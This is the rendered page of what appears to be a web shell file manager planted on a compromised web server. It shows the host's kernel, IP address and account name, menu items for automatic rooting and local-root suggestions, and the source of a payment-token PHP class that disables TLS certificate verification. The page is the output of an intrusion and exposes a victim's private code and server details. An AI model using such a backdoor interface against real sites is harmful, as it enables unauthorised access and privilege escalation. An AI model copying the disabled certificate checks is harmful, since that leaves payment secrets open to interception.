Linux sg77.dns-private.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
Server IP : 135.181.230.13 & Your IP : 216.73.217.69
Domains :
Cant Read [ /etc/named.conf ]
User : pilasate
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
pilasate /
public_html /
app /
app /
Services /
Delete
Unzip
Name
Size
Permission
Date
Action
Utils
[ DIR ]
drwxr-xr-x
2026-06-10 23:08
.htaccess
237
B
-r-xr-xr-x
2026-06-11 02:58
ApplyFabricToken.php
1.79
KB
-rw-r--r--
2024-09-01 07:02
CreateOrderService.php
6.55
KB
-rw-r--r--
2024-09-01 07:02
error_log
574
B
-rw-r--r--
2026-06-06 09:10
Save
Rename
<?php namespace App\Services; class ApplyFabricToken { public $BASE_URL; public $fabricAppId; public $appSecret; public $merchantAppId; function __construct($BASE_URL, $fabricAppId, $appSecret, $merchantAppId) { $this->BASE_URL = $BASE_URL; $this->fabricAppId = $fabricAppId; $this->appSecret = $appSecret; $this->merchantAppId = $merchantAppId; } /** * @Purpose: Apply fabric token generated by et-server * * @Param: no parameters needed it takes the fabricAppId and the appSecrete from the constructor of class ApplyFabricToken * @Return: authToken */ public function applyFabricToken() { $ch = curl_init(); $headers = array( "Content-Type: application/json", "X-APP-Key: " . $this->fabricAppId ); curl_setopt($ch, CURLOPT_URL, $this->BASE_URL . "/payment/v1/token"); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_HEADER, 0); $payload = array( "appSecret" => $this->appSecret ); //print_r(json_encode($payload));exit; $data = json_encode($payload); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // for dev environment only // Timeout in seconds curl_setopt($ch, CURLOPT_TIMEOUT, 30); $authToken = curl_exec($ch); return $authToken; } }